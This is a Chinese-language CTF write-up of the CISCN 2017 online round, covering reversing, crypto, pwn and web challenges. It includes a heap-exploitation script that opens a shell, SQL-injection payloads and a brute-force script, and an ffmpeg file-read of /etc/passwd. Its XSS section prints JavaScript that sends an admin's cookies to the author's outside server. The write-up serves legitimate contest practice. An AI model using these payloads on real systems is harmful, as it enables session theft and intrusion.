全国大学生信息安全竞赛 CISCN 2017 线上赛 Writeup

CISCN 2017. 忙于考试,发上来的有点晚了。Meet u at Xidian!

DeepinScreenshot_select-area_20170712224253.png

签到 (50pt)

答题即可,flag{Ea3y_l4w_Kn0w1edg3}

DeepinScreenshot_select-area_20170712224336.png

PHP Exercise (150pt)

没有什么过滤,所以列目录+读文件即可。

DeepinScreenshot_select-area_20170712224417.png

填数游戏 (200pt)

逆向后得知,是个数独游戏,数据输入规则是:

  • 用一行输入
  • 要填空的数据直接输入原数字
  • 已有数字的位置填0

在线解答数独后,直接输入即可:

DeepinScreenshot_select-area_20170712224617.png

APK Crack(300pt)

APK里的so文件只是用来反调试的,所以我们不看他。核心验证在simple类里,有个check方法,实现了一个虚拟机,两个寄存器R1和R2,支持一个栈(然而题目中没有用),数据提取出来之后简单把指令分拆开:

DeepinScreenshot_select-area_20170712224727.png

DeepinScreenshot_select-area_20170712224741.png

需要认真分析的指令字不多,有这么几个:

        //registers
        //  ip 
        //  sp & stack
        //  R1, R2
        //Get Arg: loop v6 = v2[r_ip++] + v6 * 10 - 48
        //opcode list
        // with!: will change dip for every op number
        //  47: SETREG       R2, $ARG 
        //  81: PUSH         R2, $ARG
        //  82: POP          R1, $ARG
        //  79: SETFETCHA    R2, $ARG
        //  77: JMPR2<R1     $ARG
        //  65: SETFETCHA    R1, $ARG
        //  70: SETPUTB      R2, $ARG
        //  71: SETFETCHB    R1, $ARG
        //  68: SETFETCHB    R2, $ARG
        //   0: LEAVE

取参数方式上有点麻烦,其他的还好。逆向了一半,突然发现这里应该是有个字符串赋值和比较:

DeepinScreenshot_select-area_20170712225105.png

红框是数据准备,黄框是判断,绿框是尚未翻译的指令字和数据字。尝试直接解一下:

DeepinScreenshot_select-area_20170712225142.png

提交即可。

Easyheap (200pt)

只放一下核心代码。篇幅太长了。

from pwn import *
from ctypes import CDLL
from time import sleep
#... 
BIN_BASE = 0x0000555555554000
def add(size, content):
#...
def edit(idx, size, content):
#...
def list_():
#...
def remove(idx):
#...
add(0x90, '0'*0x8f)
add(0x90, '1'*0x8f)
add(0x90, '2'*0x8f)
remove(0x0)
remove(0x1)
add(0x90, '')
list_()
io.recvuntil('id:0,size:144,content:')
main_arena = u64(io.recv(6).ljust(0x8, '\x00'))
log.info("main_arena : 0x%016x" % main_arena)
libc_base = main_arena-0x3c4b78
log.info("libc base : 0x%016x" % libc_base)
edit(0, 0x9, '0'*0x8)
list_()
io.recvuntil('id:0,size:144,content:00000000')
heap_base = u64(io.recv(6).ljust(0x8, '\x00')) - 0xe0
log.info("heap base : 0x%016x" % heap_base)
add(0x60, '1'*0x5f)
add(0x60, '4'*0x5f)
remove(0x1)
payload  = ''
payload += '/bin/sh\x00'
payload += '0'*0x90
payload += p64(0x21)
payload += p64(0x0)
payload += p64(heap_base+0x30)
payload += p64(0x90)
payload += p64(0x71)
payload += p64(0x60)
#payload += p64(0x60)
edit(0, 0xd8, payload)
add(0x60, '1'*0x5f)
add(0x50, '4'*0x4f)
add(0x50, '5'*0x4f)
payload  = ''
payload += '4'*0x58
payload += p64(0x21)
payload += p64(0x0)
payload += p64(heap_base+0x360)
payload += p64(0x0)
payload += p64(0x61)
payload += p64(main_arena-0x30)
remove(0x5)
edit(4, 0xd8, payload)
add(0x50, '5'*0x4f)
payload  = ''
payload += p64(0x0)*4
payload += p64(libc_base+0x3c5c50)
add(0x50, payload)
add(0x100, p64(0x0))
add(0x200, p64(0x0))
add(0x200, p64(0x0))
add(0x200, p64(0x0))
add(0x200, p64(0x0))
add(0x200, '\x00'*(0x90+0xa8)+p64(libc_base+0x0000000000045390))
remove(0x0)
# leak libc
io.interactive()

传感器1 (100pt)

显然是差分曼切斯特编码(这里的显然如果没看出来请复习信息论和编码理论)。首先将十六进制报文转为二进制串,然后按照差分曼切斯特编码就能得到编码前的二进制串,从而得到传感器ID。

DeepinScreenshot_select-area_20170712225355.png

传感器2 (250pt)

这里通过传感器1得知是差分曼切斯特编码,同时,可以看到两个不同ID的传感器报文除了ID部分,其余大部分相同,只有最后两个数不同。这里猜测是CRC-8校验。使用Python的crcmod模块,验证一下发现确实如此。

DeepinScreenshot_select-area_20170712225439.png

剩下的就简单了,将报文其中的ID部分换为两个新ID,即可计算出CRC-8,拿到flag。

DeepinScreenshot_select-area_20170712225526.png

wanna to see your hat?(250pt)

返回给出了查询语句 select count(*) from t_info where username = 'test' or nickname = 'test'
空格会被过滤,单引号'会替换成反斜杠\。那么空格用括号代替,用反斜杠转义后面的单引号。 再用单行注释#注释掉后面多余的部分。

DeepinScreenshot_select-area_20170712230427.png

所以最后payload为: name=or(1)#'

DeepinScreenshot_select-area_20170712230443.png

Embarrass(300pt)

DeepinScreenshot_select-area_20170712230540.png

Classical(300pt)

基本是原题:http://bono-ipad.github.io/burningctf2015_writeup.html 同上,省略了部分代码

from sage.all import *

def load_data():
    """
    Load input data from file
    :return: ciphertext and public key
    """
    f1 = open('key.pub', 'r')
    f2 = open('enc.txt', 'r')
    pub_keys = f1.read()
    pub_keys = eval(pub_keys)
    ciphertext = int(long(f2.read().strip()))
    #....
def create_matrix_from_knapsack(ciphertext, pub_keys):
    """
    Create the matrix from input data of the form http://goo.gl/aOQE7J
    """
    last_col = []
    for p in pub_keys:
        last_col.append(int(long(p)))
    last_col.append(ciphertext)
    last_row = [1 for i in pub_keys]
    # I use sagemath to do this
    # …
    return my_matrix
def is_short_vector(vector):
    """
    Is short vector?
    :return: True/False
    """
    for v in vector:
        if v != 1 and v != -1 and v != 0:
            return False
    return True


def find_short_vector(matrix):
    """
    Find short vector from matrix was applied LLL algorithms
    """
    for row in matrix:
        if is_short_vector(row):
            return row


def main():
    pub_keys, cipher = load_data()
    my_matrix = create_matrix_from_knapsack(cipher, pub_keys)

    # Apply LLL algorithm to matrix
    new_matrix = my_matrix.LLL()

    # Get short vector
    short_vector = find_short_vector(new_matrix)

    # Change 1 to 0 and -1 to 1 to get solution vector
    solution_vector = []
    for v in short_vector:
        if v == 1:
            solution_vector.append(0)
        elif v == -1:
            solution_vector.append(1)

    x = ''.join([str(i) for i in solution_vector])
    print x
    print hex(int(x,2))

    # and we get flag
    print hex(int(x,2))[2:-1].decode('hex')



main()

# 0x666c61673d7b4164695368616d697253706f696c65647dL
# flag={AdiShamirSpoiled}

Partial (300pt)

# 这个题群里好几个人讨论出来的,所以就直接把相关聊天记录放上来了
# 提取出几个主要参数后,分解p和q:
n = 0x985CBA74B3AFCF36F82079DE644DE85DD6658A2D3FB2D5C239F2657F921756459E84EE0BBC56943DE04F2A04AACE311574BE1E9391AC5B0F8DBB999524AF8DF2451A84916F6699E54AE0290014AFBF561B0E502CA094ADC3D9582EA22F857529D3DA79737F663A95767FDD87A9C19D8104A736ACBE5F4A25B2A25B4DF981F44DB2EB7F3028B1D1363C3A36F0C1B9921C7C06848984DFE853597C3410FCBF9A1B49C0F5CB0EEDDC06D722A0A7488F893D37996F9A92CD3422465F49F3035FEA6912589EFCFB5A4CF9B69C81B9FCC732D6E6A1FFCE9690F34939B27113527ABB00878806B229EC6570815C32BC2C134B0F56C21A63CA535AB467593246508CA9F9
e = 0x10001
p = 0xBCF6D95C9FFCA2B17FD930C743BCEA314A5F24AE06C12CE62CDB6E8306A545DE468F1A23136321EB82B4B8695ECE58B763ECF8243CBBFADE0603922C130ED143D4D3E88E483529C820F7B53E4346511EB14D4D56CB2B714D3BDC9A2F2AB655993A31E0EB196E8F63028F9B29521E9B3609218BA0000000000000000000000000


# Sharif University CTF 2016: High-speed RSA Keygen [Part1]
# Filename: solver.sage

from sage.all import *

def get_primes(n):
    numbers = set(range(n, 1, -1))
    primes = []
    while numbers:
        p = numbers.pop()
        primes.append(p)
        numbers.difference_update(set(range(p*2, n+1, p)))
    return primes

def coppersmith(pbar):
    global n
    beta = 0.5
    epsilon = beta^2/7

    pbits = 1024
    kbits = floor(n.nbits()*(beta^2-epsilon))
    PR.<x> = PolynomialRing(Zmod(n))
    f = x + pbar

    x0 = f.small_roots(X=2^kbits, beta=beta)  # find root < 2^kbits with factor >= n^0.3

    if len(x0) > 0:
        return x0[0] + pbar
    else:
        return None



####### main #######
e = 65537

primes = get_primes(443)
primes.sort()
del primes[0]

pi = 1;
for x in primes:
        pi *= x
# print "pi=%X" % pi

for i in range(1,4096):
        print i
        kp = (i + 2**12 + 2**13 + 2**14 + 2**15 + 2**16 + 2**17 + 2**18 + 2**19)
        pbar = kp * pi * (2**400)
        # High-bit known attack
        p = coppersmith(pbar)
        if p != None and n % p == 0:
                print "Found"
                print "p", p
                break
# 然后已知高位的脚本,又有上面的结果
p = 0xBCF6D95C9FFCA2B17FD930C743BCEA314A5F24AE06C12CE62CDB6E8306A545DE468F1A23136321EB82B4B8695ECE58B763ECF8243CBBFADE0603922C130ED143D4D3E88E483529C820F7B53E4346511EB14D4D56CB2B714D3BDC9A2F2AB655993A31E0EB196E8F63028F9B29521E9B3609218BA0000000000000000000000000
#q =
n = 0x985CBA74B3AFCF36F82079DE644DE85DD6658A2D3FB2D5C239F2657F921756459E84EE0BBC56943DE04F2A04AACE311574BE1E9391AC5B0F8DBB999524AF8DF2451A84916F6699E54AE0290014AFBF561B0E502CA094ADC3D9582EA22F857529D3DA79737F663A95767FDD87A9C19D8104A736ACBE5F4A25B2A25B4DF981F44DB2EB7F3028B1D1363C3A36F0C1B9921C7C06848984DFE853597C3410FCBF9A1B49C0F5CB0EEDDC06D722A0A7488F893D37996F9A92CD3422465F49F3035FEA6912589EFCFB5A4CF9B69C81B9FCC732D6E6A1FFCE9690F34939B27113527ABB00878806B229EC6570815C32BC2C134B0F56C21A63CA535AB467593246508CA9F9
e = 65535

beta = 0.5
epsilon = beta^2/7

pbits = p.nbits()
kbits = 400#how many bits are hiden
pbar = p 
print "upper %d bits (of %d bits) is given" % (pbits-kbits, pbits)

PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar

print p
x0 = f.small_roots(X=2^kbits, beta=0.3)[0]  # find root < 2^kbits with factor >= n^0.3
print x0 + pbar

Warmup (100pt)

哇头皮发麻,正在复习信息论考试和信号考试,你出个这个题,基本就是当练习题做了。

解压缩包就是个KPA攻击,比较简单,不再描述了,得到两个文件fuli和fuli2。两个文件的差别主要在于:

  • IHDR块排布规律不同
  • 两张图片用Stagsolve做XOR之后有横向条纹

第一个可以看出这个东西应该是用python或matlab之类的处理过,在对png支持不够好的程序中常有这种IDHR块只有8192字节的情况。第二个表示频域上可能有问题。基本确定就是知乎上这个问题的高票回答:https://www.zhihu.com/question/50735753

那么用盲水印在github上搜,有:https://github.com/chishaxie/BlindWaterMark

执行,得到:

DeepinScreenshot_select-area_20170712230904.png

溜了溜了~

Guestbook (400pt)

这道题目很明显的xss,可以预览,但是有沙盒,delete了很多方法,但是实际上并没有起到效果.

推测bot使用chrome浏览器,构造payload发现有csp限制,于是使用CVE-2017-5033中的技巧,直接window.open打开本地构造页(js伪协议)

<script>
open("javascript:'"+unescape('%3Cscript id=\"s\" %20src%3Dhttp://t.cn/RKqVxpo%3E%3C/script%3E')+"'","_self");
</script>

但是没有得到应有的信息,于是推测问题不在此处. 扫描得到了地址/admin/review.php:

function ha()
{
    result=x.contentDocument.body.innerHTML;
    w=document.createElement('p');
    w.innerText=result;
    s.appendChild(w);
    a=x.contentDocument.cookie;
    xhr=new XMLHttpRequest();
    xhr.open("GET","http://www.math1as.com/xrecv.php?data="+escape(a));
    xhr.send(null);
}
x=document.createElement('iframe');
x.src="http://106.75.119.64:8888/admin/review.php";
s.appendChild(x);
result='';
setTimeout("ha()",1000);

提交后,得到了管理员的cookies

DeepinScreenshot_select-area_20170712231029.png

里面正是flag{cr4ck_c5p_m4ybe_3z}

评价:rename功能就是个鸡肋,不知道放在那里的目的是啥

Flag Vending Machine (300pt)

套路,都是套路.

首先注册用户的时候就猜测到是否是注入了,果不其然,是在注册时转义,购买时触发的二次注入.但是这里有个坑,注册的时候select,where,on等关键字会被替换一次,因此需要进行双写。

编写脚本

import requests
import random
req=requests.Session()
main='http://120.132.20.183:8888/'
regurl=main+'register.php'
loginurl=main+'login.php'
mainurl=main+'user.php'
costurl=main+'buy.php?id=1'
flagurl=main+'buy.php?id=4'
def brute(n):
    payload='nasda123i'
    back=payload
    mini=2333333
    payload=payload+'\'||(seleselectct ascii(mid(group_coonncat(thisi5f14g),15,1))='+str(n)+' from fff1ag)#'
    #print('rawpayload: '+payload)
    pwd='1'
    rawdata={'user':payload,'pass':pwd}
    r=req.post(regurl,data=rawdata)
    payload=payload.replace('select','')
    payload=payload.replace('on','')
    payload=payload.replace('where','')
    rawdata={'user':payload,'pass':pwd}
    r=req.post(loginurl,data=rawdata)
    text1=r.text
    #print(text1)
    if "login" in text1:
        exit('find illegal character in payload')
    r=req.get(costurl)
    r=req.get(mainurl)
    text2=r.text
    if(text1!=text2):
        #print('payload: '+payload+'  returns true')
        return True
    else:
        #print('payload: '+payload+'  returns false')
        return False
for i in range(48,127):
    print('now:'+chr(i))
    if(brute(str(i))):
        exit(chr(i))

注入得到了flag

方舟计划 (400pt)

web能不能不要全是注注注,蟹蟹啦.

一上来就是个insert处的注入,而且坑点在于加入了防护,对select x from y这类攻击做了检测.一开始的思路是select x,1e0fromxxx的方法来绕过,但是由于列的数量不一致而失败,最后使用内联注释/!50001from/的方式绕过:

DeepinScreenshot_select-area_20170712231223.png

通过注入得到了id=1时的用户名为fangzh0u.

DeepinScreenshot_select-area_20170712231326.png

猜测secretkey和password的关系为密文和秘钥,使用AES进行解密

DeepinScreenshot_select-area_20170712231342.png

得到明文密码为tencent123.
登录后界面为上传.avi转换为.mp4,太明显啦ffmpeg.使用工具来生成.avi 读取/etc/passwd

DeepinScreenshot_select-area_20170712231359.png

得到了root用户的路径为/home/s0m3b0dy,随后直接读取这个路径下的flag文件,得到了flag(客服直到凌晨3点半才修好)

DeepinScreenshot_select-area_20170712231414.png

tagged by none  

Comment Closed.

© 2014 ::L Team::